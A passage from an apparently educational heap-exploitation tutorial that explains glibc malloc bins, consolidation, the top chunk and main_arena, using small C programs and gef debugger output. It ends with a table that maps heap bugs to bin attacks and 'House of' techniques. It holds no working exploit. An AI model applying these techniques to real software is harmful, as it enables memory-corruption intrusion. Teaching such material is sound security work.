Tcachebins[idx=1, size=0x20] count=1  ←  Chunk(addr=0x555555559280, size=0x30,
flags=PREV_INUSE)
Tcachebins[idx=2, size=0x30] count=1  ←  Chunk(addr=0x5555555592b0, size=0x40,
flags=PREV_INUSE)
Tcachebins[idx=3, size=0x40] count=1  ←  Chunk(addr=0x5555555592f0, size=0x50,
flags=PREV_INUSE)
Tcachebins[idx=4, size=0x50] count=1  ←  Chunk(addr=0x555555559340, size=0x60,
flags=PREV_INUSE)
Tcachebins[idx=5, size=0x60] count=1  ←  Chunk(addr=0x5555555593a0, size=0x70,
flags=PREV_INUSE)
Tcachebins[idx=6, size=0x70] count=1  ←  Chunk(addr=0x555555559410, size=0x80,
flags=PREV_INUSE)
Tcachebins[idx=7, size=0x80] count=1  ←  Chunk(addr=0x555555559490, size=0x90,
flags=PREV_INUSE)
Tcachebins[idx=8, size=0x90] count=1  ←  Chunk(addr=0x555555559520, size=0xa0,
flags=PREV_INUSE)
Tcachebins[idx=9, size=0xa0] count=1  ←  Chunk(addr=0x5555555595c0, size=0xb0,
flags=PREV_INUSE)
Tcachebins[idx=10, size=0xb0] count=1  ←  Chunk(addr=0x555555559670, size=0xc0,
flags=PREV_INUSE)
Tcachebins[idx=11, size=0xc0] count=1  ←  Chunk(addr=0x555555559730, size=0xd0,
flags=PREV_INUSE)
Tcachebins[idx=12, size=0xd0] count=1  ←  Chunk(addr=0x555555559800, size=0xe0,
flags=PREV_INUSE)
Tcachebins[idx=13, size=0xe0] count=1  ←  Chunk(addr=0x5555555598e0, size=0xf0,
flags=PREV_INUSE)
Tcachebins[idx=14, size=0xf0] count=1  ←  Chunk(addr=0x5555555599d0, size=0x100,
flags=PREV_INUSE)
Tcachebins[idx=15, size=0x100] count=1  ←  Chunk(addr=0x555555559ad0,
size=0x110, flags=PREV_INUSE)
Tcachebins[idx=16, size=0x110] count=1  ←  Chunk(addr=0x555555559be0,
size=0x120, flags=PREV_INUSE)
Tcachebins[idx=17, size=0x120] count=1  ←  Chunk(addr=0x555555559d00,
size=0x130, flags=PREV_INUSE)
Tcachebins[idx=18, size=0x130] count=1  ←  Chunk(addr=0x555555559e30,
size=0x140, flags=PREV_INUSE)
Tcachebins[idx=19, size=0x140] count=1  ←  Chunk(addr=0x555555559f70,
size=0x150, flags=PREV_INUSE)
Tcachebins[idx=20, size=0x150] count=1  ←  Chunk(addr=0x55555555a0c0,
size=0x160, flags=PREV_INUSE)
Tcachebins[idx=21, size=0x160] count=1  ←  Chunk(addr=0x55555555a220,
size=0x170, flags=PREV_INUSE)
Tcachebins[idx=22, size=0x170] count=1  ←  Chunk(addr=0x55555555a390,
size=0x180, flags=PREV_INUSE)
Tcachebins[idx=23, size=0x180] count=1  ←  Chunk(addr=0x55555555a510,
size=0x190, flags=PREV_INUSE)
```

```
Tcachebins[idx=24, size=0x190] count=1  ←  Chunk(addr=0x55555555a6a0,
size=0x1a0, flags=PREV_INUSE)
Tcachebins[idx=25, size=0x1a0] count=1  ←  Chunk(addr=0x55555555a840,
size=0x1b0, flags=PREV_INUSE)
Tcachebins[idx=26, size=0x1b0] count=1  ←  Chunk(addr=0x55555555a9f0,
size=0x1c0, flags=PREV_INUSE)
Tcachebins[idx=27, size=0x1c0] count=1  ←  Chunk(addr=0x55555555abb0,
size=0x1d0, flags=PREV_INUSE)
Tcachebins[idx=28, size=0x1d0] count=1  ←  Chunk(addr=0x55555555ad80,
size=0x1e0, flags=PREV_INUSE)
Tcachebins[idx=29, size=0x1e0] count=1  ←  Chunk(addr=0x55555555af60,
size=0x1f0, flags=PREV_INUSE)
Tcachebins[idx=30, size=0x1f0] count=1  ←  Chunk(addr=0x55555555b150,
size=0x200, flags=PREV_INUSE)
Tcachebins[idx=31, size=0x200] count=1  ←  Chunk(addr=0x55555555b350,
size=0x210, flags=PREV_INUSE)
Tcachebins[idx=32, size=0x210] count=1  ←  Chunk(addr=0x55555555b560,
size=0x220, flags=PREV_INUSE)
Tcachebins[idx=33, size=0x220] count=1  ←  Chunk(addr=0x55555555b780,
size=0x230, flags=PREV_INUSE)
Tcachebins[idx=34, size=0x230] count=1  ←  Chunk(addr=0x55555555b9b0,
size=0x240, flags=PREV_INUSE)
Tcachebins[idx=35, size=0x240] count=1  ←  Chunk(addr=0x55555555bbf0,
size=0x250, flags=PREV_INUSE)
Tcachebins[idx=36, size=0x250] count=1  ←  Chunk(addr=0x55555555be40,
size=0x260, flags=PREV_INUSE)
Tcachebins[idx=37, size=0x260] count=1  ←  Chunk(addr=0x55555555c0a0,
size=0x270, flags=PREV_INUSE)
Tcachebins[idx=38, size=0x270] count=1  ←  Chunk(addr=0x55555555c310,
size=0x280, flags=PREV_INUSE)
Tcachebins[idx=39, size=0x280] count=1  ←  Chunk(addr=0x55555555c590,
size=0x290, flags=PREV_INUSE)
Tcachebins[idx=40, size=0x290] count=1  ←  Chunk(addr=0x55555555c820,
size=0x2a0, flags=PREV_INUSE)
Tcachebins[idx=41, size=0x2a0] count=1  ←  Chunk(addr=0x55555555cac0,
size=0x2b0, flags=PREV_INUSE)
Tcachebins[idx=42, size=0x2b0] count=1  ←  Chunk(addr=0x55555555cd70,
size=0x2c0, flags=PREV_INUSE)
Tcachebins[idx=43, size=0x2c0] count=1  ←  Chunk(addr=0x55555555d030,
size=0x2d0, flags=PREV_INUSE)
Tcachebins[idx=44, size=0x2d0] count=1  ←  Chunk(addr=0x55555555d300,
size=0x2e0, flags=PREV_INUSE)
Tcachebins[idx=45, size=0x2e0] count=1  ←  Chunk(addr=0x55555555d5e0,
size=0x2f0, flags=PREV_INUSE)
Tcachebins[idx=46, size=0x2f0] count=1  ←  Chunk(addr=0x55555555d8d0,
size=0x300, flags=PREV_INUSE)
Tcachebins[idx=47, size=0x300] count=1  ←  Chunk(addr=0x55555555dbd0,
size=0x310, flags=PREV_INUSE)
Tcachebins[idx=48, size=0x310] count=1  ←  Chunk(addr=0x55555555dee0,
size=0x320, flags=PREV_INUSE)
Tcachebins[idx=49, size=0x320] count=1  ←  Chunk(addr=0x55555555e200,
size=0x330, flags=PREV_INUSE)
Tcachebins[idx=50, size=0x330] count=1  ←  Chunk(addr=0x55555555e530,
```

```
size=0x340, flags=PREV_INUSE)
Tcachebins[idx=51, size=0x340] count=1  ←  Chunk(addr=0x55555555e870,
size=0x350, flags=PREV_INUSE)
Tcachebins[idx=52, size=0x350] count=1  ←  Chunk(addr=0x55555555ebc0,
size=0x360, flags=PREV_INUSE)
Tcachebins[idx=53, size=0x360] count=1  ←  Chunk(addr=0x55555555ef20,
size=0x370, flags=PREV_INUSE)
Tcachebins[idx=54, size=0x370] count=1  ←  Chunk(addr=0x55555555f290,
size=0x380, flags=PREV_INUSE)
Tcachebins[idx=55, size=0x380] count=1  ←  Chunk(addr=0x55555555f610,
size=0x390, flags=PREV_INUSE)
Tcachebins[idx=56, size=0x390] count=1  ←  Chunk(addr=0x55555555f9a0,
size=0x3a0, flags=PREV_INUSE)
Tcachebins[idx=57, size=0x3a0] count=1  ←  Chunk(addr=0x55555555fd40,
size=0x3b0, flags=PREV_INUSE)
Tcachebins[idx=58, size=0x3b0] count=1  ←  Chunk(addr=0x5555555600f0,
size=0x3c0, flags=PREV_INUSE)
Tcachebins[idx=59, size=0x3c0] count=1  ←  Chunk(addr=0x5555555604b0,
size=0x3d0, flags=PREV_INUSE)
Tcachebins[idx=60, size=0x3d0] count=1  ←  Chunk(addr=0x555555560880,
size=0x3e0, flags=PREV_INUSE)
Tcachebins[idx=61, size=0x3e0] count=1  ←  Chunk(addr=0x555555560c60,
size=0x3f0, flags=PREV_INUSE)
Tcachebins[idx=62, size=0x3f0] count=1  ←  Chunk(addr=0x555555561050,
size=0x400, flags=PREV_INUSE)
Tcachebins[idx=63, size=0x400] count=1  ←  Chunk(addr=0x555555561450,
size=0x410, flags=PREV_INUSE)
───────────────────────────────────────────────────────────────────────
Fastbins for arena 0x7ffff7faec40
───────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────────────────────────────────────────────────────
Unsorted Bin for arena 'main_arena'
───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x555555561850, bk=0x555555561850
 →   Chunk(addr=0x555555561860, size=0x19b0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
───────────────────────────────────────────────────────────────────────
Small Bins for arena 'main_arena'
───────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
───────────────────────────────────────────────────────────────────────
Large Bins for arena 'main_arena'
───────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

If it clears anything up, I feel like the best simple analogy I've heard for the tcache is it's the fast bin with less checks (and can take in somewhat larger chunks).

Unsorted, Large and Small Bins

The Small Bin, Large Bin, and Unsorted Bin are tied more closely together in how they work than the other bins. The Unsorted, Large, and Small Bins all live together in the same array. Each of the bins has different indexes to this array:

```
0x00:         Not Used
0x01:         Unsorted Bin
0x02 - 0x3f:  Small Bin
0x40 - 0x7e:  Large Bin
```

There is one list for the Unsorted Bin, 62 for the Small Bin, and 63 for the Large Bin. let's talk about the unsorted bin first.

For chunks that are inserted into one of the bins, however isn't inserted into the fast bin or tcache, it will first be inserted into the Unsorted Bin. Chunks will remain there until they are sorted. This happens when another call is made to malloc. It will then check through the Unsorted Bin for any possible chunks that can meet the allocation. Also one thing that you will see in the unsorted bin, is it is capable off a piece of a chunk to serve a request (it can also consolidate chunks together). Also when it checks the unsorted bin, it will check if there are chunks that belong in one of the small / large bin lists. If there are it will move those chunks to the appropriate bins.

Like the fast bin, the 62 lists of the Small Bin and 63 lists of the Large Bin are divided by size. The small bins on `x64` consists of chunk sizes under `0x400` (`1024` bytes), and on `x86` consists of chunk sizes under `0x200` (`512` bytes), and the large bin consists of values above those.

Let's take at this C code:

```
#include <stdlib.h>

void main(void)
{
  char *ptr, *p1;

  ptr = malloc(0x200);

  malloc(10); // Here to avoid consolidation with Top Chunk

  free(ptr);

  malloc(0x1000);
}
```

Let's see how the start of the heap before the `malloc(0x1000)` :

```
gef➤  heap bins
[+] No Tcache in this version of libc
──────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────────────── Small Bins for arena 'main_arena' ────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────── Large Bins for arena 'main_arena' ────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

Now let's see it after the `malloc(0x1000)` :

```
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────── Small Bins for arena 'main_arena' ──────────────────────
[+] small_bins[32]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
────────────────────── Large Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

We can see since the unsorted bin chunk could not serve the requested size of `0x1000`, it was sorted to its corresponding list of in the small bin at idx `4`. Let's see what happens when we change the value to a large bin size:

The new C code:

```c
#include <stdlib.h>

void main(void)
{
  char *ptr, *p1;

  ptr = malloc(0x400);

  malloc(10); // Here to avoid consolidation with Top Chunk

  free(ptr);

  malloc(10000);
}
```

Before the `malloc(10000)`:

```
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x410, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────── Small Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────── Large Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

After the `malloc(10000)` :

```
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────── Small Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────── Large Bins for arena 'main_arena' ──────────────────────
[+] large_bins[63]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x410, flags=PREV_INUSE)
[+] Found 1 chunks in 1 large non-empty bins.
```

As we can see, the heap chunk was moved into its corresponding bin the large bin at idx `63`. Now what if an unsorted bin chunk can serve a malloc request?

Let's change the C code to this:

```c
#include <stdlib.h>

void main(void)
{
  char *ptr, *p1;

  ptr = malloc(0x400);

  malloc(10); // Here to avoid consolidation with Top Chunk

  free(ptr);

  malloc(0x200);
}
```

Before the `malloc(0x200)` :

```
gef➤  heap bins
[+] No Tcache in this version of libc
─────────────────────── Fastbins for arena 0x7ffff7dd1b20 ───────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x410, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────────────────── Small Bins for arena 'main_arena' ───────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────── Large Bins for arena 'main_arena' ───────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

After the `malloc(0x200)` :

```
gef➤  heap bins
[+] No Tcache in this version of libc
──────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────
[+] unsorted_bins[0]: fw=0x602210, bk=0x602210
 →   Chunk(addr=0x602220, size=0x200, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────────────── Small Bins for arena 'main_arena' ────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────── Large Bins for arena 'main_arena' ────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

We can see here that the `0x210` bytes for the chunk was taken off of the chunk in the unsorted bin, and that the chunk remained in the unsorted bin.

Now let's look at chunk itself of a chunk in either the Unsorted, Small, or Large Bins.

Small Bin Chunk:

```
gef➤  x/6g 0x602000
0x602000: 0x0 0x211
0x602010: 0x7ffff7dd1d78  0x7ffff7dd1d78
0x602020: 0x0 0x0
```

Large Bin Chunk:

```
gef➤  x/6g 0x602000
0x602000: 0x0 0x411
0x602010: 0x7ffff7dd1f68  0x7ffff7dd1f68
0x602020: 0x602000  0x602000
```

Unsorted Bin Chunk:

```
gef➤  x/6g 0x602210
0x602210: 0x0 0x201
0x602220: 0x7ffff7dd1b78  0x7ffff7dd1b78
0x602230: 0x0 0x0
```

We can see that each of the chunks have the traditional header of a previous chunk size, and a chunk size. In addition to that, we see that all three chunks have two pointers as the first thing in the content section. That is because the lists in the Unsorted, Small, and Large bins are all doubly linked lists. The first pointer is the `fwd` pointer, and the second pointer is the `bk` pointer. However we can see that the large chunk has two pointer immediately after that.

These are pointers to `fwd_nextsize` and `bk_nextsize`. This will point to the next chunk of a different size. Since chunks in the large bin are stored largest to smallest, the `fwd_nextsize` will point to the next smallest chunk, and the `bk_nexsize` will allow it to jump to the next largest jump. It's kind of like a skip list.

Consolidation

Now one issue the heap may run into is fragmentation. This is when the heap has a lot of free space, however it is in tiny chunks all over the place. This can become a problem when malloc tries to allocate a large chunk of space since it could have the space, but since it is broken up into a lot of smaller pieces and not continuous it will have to use different memory for it, and effectively waste space.

Consolidation tries to fix this by merging adjacent freed chunks together, into larger freed chunks. That way it will have larger freed chunks which can support larger allocations, and hopefully combat fragmentation.

Top Chunk

The Top Chunk is essentially a large heap chunk that holds currently unallocated data. Think of it as were freed data that isn't in one of the bin lists goes.

Let's say you call `malloc(0x10)`, and it's your first time calling `malloc` so the heap isn't set up. When `malloc` sets up the heap, it will request some space from the kernel that is much larger than `0x10` bytes. Allocating large chunks of memory from the kernel, and managing memory allocations from that memory is a lot more efficient than requesting memory from the kernel each time. The remainder from the `0x20` bytes from the request (`0x10` from requested size and `0x10` from heap metadata) will end up in the top chunk (top chunk is sometimes also called). So just to reiterate the top chunk holds unallocated data that isn't in the bin list.

Now malloc will try to allocate chunks from the bin lists before allocating them from the top chunk, since it's faster. However if there isn't a chunk in any of the bin lists that will satisfy it, it will pull from the Top Chunk. Let's see that in action with this C Code:

```
#include <stdlib.h>

void main(void)
{
  char *p0, *p1;

  p0 = malloc(0x10);
  p1 = malloc(0xf0);

  free(p1);
}
```

Now let's see the top chunk before the `malloc(0xf0)` call:

```
gef➤  x/20g 0x602020
0x602020: 0x0 0x20fe1
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
0x6020b0: 0x0 0x0
```

So we can see that it's size is `0x20fe1` . Right now there are no chunks in any of the bin lists, so there is a `0x20fe0` bytes of unallocated space left in the heap (the previous in use bit for the top chunk is always set). Now let's see what happens to the top chunk after the `malloc(0xf0)` call:

```
gef➤  x/40g 0x602020
0x602020: 0x0 0x101
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
0x6020b0: 0x0 0x0
0x6020c0: 0x0 0x0
0x6020d0: 0x0 0x0
0x6020e0: 0x0 0x0
0x6020f0: 0x0 0x0
0x602100: 0x0 0x0
0x602110: 0x0 0x0
0x602120: 0x0 0x20ee1
0x602130: 0x0 0x0
0x602140: 0x0 0x0
0x602150: 0x0 0x0
```

We can see that two things have happened to the top chunk. Firstly that it moved down to `0x602120` from `0x602020` to make room for the new allocation from itself. Secondly, we see that it's size was shrunk by `0x100`, because of the `0x100` byte allocation from it. Now let's see what happens to the top chunk after the `free(p1)` call:

```
gef➤  heap bins
[+] No Tcache in this version of libc
──────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────── Small Bins for arena 'main_arena' ────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────── Large Bins for arena 'main_arena' ────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/40g 0x602020
0x602020: 0x0 0x20fe1
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
0x6020b0: 0x0 0x0
0x6020c0: 0x0 0x0
0x6020d0: 0x0 0x0
0x6020e0: 0x0 0x0
0x6020f0: 0x0 0x0
0x602100: 0x0 0x0
0x602110: 0x0 0x0
0x602120: 0x0 0x20ee1
0x602130: 0x0 0x0
0x602140: 0x0 0x0
0x602150: 0x0 0x0
```

We can see that the chunk did not end up in the unsorted bin. Instead in consolidated with the top chunk. This is because it was a freed chunk right next to the top chunk, with no allocated space in between. So it just merged it with the top chunk (granted it left it's old size value behind).

Keep in mind, depending on the version of malloc and if the chunk size is fast bin or tcache, this behavior doesn't always show itself.

Top Chunk Consolidation

Now a lot of heap attacks we will go through target a bin list. For that we need freed chunks in the bins lists. Consolidation with the top chunk can prevent that, so one thing you will see us do a lot of is allocated a small chunk in between our freed chunks and the top chunk, just to prevent that consolidation.

Main Arena

One term you will probably hear in heap exploitation is `Main Arena`. This is essentially the data structure used for managing heap memory. It actually contains the head pointers for the bin lists, which we can see here:

```
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────── Small Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────── Large Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/20g 0x7ffff7dd1b20
0x7ffff7dd1b20 <main_arena>:  0x0 0x602000
0x7ffff7dd1b30 <main_arena+16>: 0x0 0x0
0x7ffff7dd1b40 <main_arena+32>: 0x0 0x0
0x7ffff7dd1b50 <main_arena+48>: 0x0 0x0
0x7ffff7dd1b60 <main_arena+64>: 0x0 0x0
0x7ffff7dd1b70 <main_arena+80>: 0x0 0x602120
0x7ffff7dd1b80 <main_arena+96>: 0x0 0x7ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>:  0x7ffff7dd1b78  0x7ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>:  0x7ffff7dd1b88  0x7ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>:  0x7ffff7dd1b98  0x7ffff7dd1ba8
```

Exploitation

As you can see, there is a good bit of functionality with the heap (although we haven't covered it all). A lot of this functionality is beneficial to attacking the code. Here is kind of an outlay of how these attacks can work from super high level. Also the man, the myth, the legend himself `noopnoop` was the one to show me this, and I think it's a pretty good way for explaining heap exploitation:

```
+--------------------+----------------------------+-----------------------+
|   Bug Used         |  Bin Attack                |   House               |
+--------------------+----------------------------+-----------------------+
|                    |  Fast Bin Attack           |   House of Spirit     |
|   Double Free      |  tcache attack             |   House of Lore       |
|   Heap Overflow    |  Unsorted Bin Attck        |   House of Force      |
|   Use After Free   |  Small / Large Bin Attck   |   House of Einherjar  |
|                    |  Unsafe Unlink             |   House of Orange     |
+--------------------+----------------------------+-----------------------+
```

First off we have an actual bug. This can be something like a Heap overflow, Use After Free (UAF), a double free, or other things. We leverage the bugs and a bit of heap grooming to edit a freed chunk in one of the bin lists. Then from being able to edit a freed chunk in one of the bin lists we can launch a bin attack (also I'm not 100% sure if Unsafe Unlink counts as a Bin Attack, but that's where I'm putting it).

The Houses are essentially different types of Heap Attacks that we can do in different situations, that do different things. A lot of them are built off of the bin attacks, and they can get more complicated than some of the typical bin attacks.

Also this goes without saying, but there are a lot more heap attacks then the ones listed. These are just the ones that I cover in this project at the moment.

Debugging Heap

As we are exploiting the Heap, we may run into some issues along the way. This can come from some of the many checks that malloc does on to check for memory corruption, to not fully understanding a bit of heap functionality. For that, these are two things that really helped me.

Gef

So the `gef` gdb wrapper has this super cool command called `heap bins` (as you've already seen) that will go through and show you the contents of all of the bin lists. Having a command like this to see the status of all of the bin lists is invaluable while doing heap exploitation. I know you've seen several instances of this already, however here is one more:

```
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602050, size=0x20, flags=PREV_INUSE)
←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010,
size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────── Small Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────── Large Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

Source code

Another useful tool for debugging failed heap checks, is the libc source code itself. It is all open source so you can just download it and look in `malloc.c` yourself. For instance let's say you are failing this check and we see the wonderful output from `malloc_printerr` :

```
*** Error in `./try': malloc(): memory corruption (fast): 0x000000000067f010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f75bc6ae7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x82651)[0x7f75bc6b9651]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f75bc6bb184]
./try[0x4005ab]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f75bc657830]
./try[0x400499]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 793072
/Hackery/pod/modules/heap/try
00600000-00601000 r--p 00000000 08:01 793072
/Hackery/pod/modules/heap/try
00601000-00602000 rw-p 00001000 08:01 793072
/Hackery/pod/modules/heap/try
0067f000-006a0000 rw-p 00000000 00:00 0                                  [heap]
7f75b8000000-7f75b8021000 rw-p 00000000 00:00 0
7f75b8021000-7f75bc000000 ---p 00000000 00:00 0
7f75bc421000-7f75bc437000 r-xp 00000000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f75bc437000-7f75bc636000 ---p 00016000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f75bc636000-7f75bc637000 rw-p 00015000 08:01 397746
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f75bc637000-7f75bc7f7000 r-xp 00000000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
7f75bc7f7000-7f75bc9f7000 ---p 001c0000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
7f75bc9f7000-7f75bc9fb000 r--p 001c0000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
7f75bc9fb000-7f75bc9fd000 rw-p 001c4000 08:01 397708
/lib/x86_64-linux-gnu/libc-2.23.so
7f75bc9fd000-7f75bca01000 rw-p 00000000 00:00 0
7f75bca01000-7f75bca27000 r-xp 00000000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
7f75bcc08000-7f75bcc0b000 rw-p 00000000 00:00 0
7f75bcc25000-7f75bcc26000 rw-p 00000000 00:00 0
7f75bcc26000-7f75bcc27000 r--p 00025000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
7f75bcc27000-7f75bcc28000 rw-p 00026000 08:01 397680
/lib/x86_64-linux-gnu/ld-2.23.so
7f75bcc28000-7f75bcc29000 rw-p 00000000 00:00 0
7ffeb806d000-7ffeb808e000 rw-p 00000000 00:00 0                          [stack]
7ffeb808f000-7ffeb8092000 r--p 00000000 00:00 0                          [vvar]
7ffeb8092000-7ffeb8094000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
[vsyscall]
Aborted (core dumped)
```

We can just grep through the source code of `malloc.c` for the string `memory corruption (fast)` to find the code for the check we are failing:

```
    if (victim != 0)
      {
        if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
          {
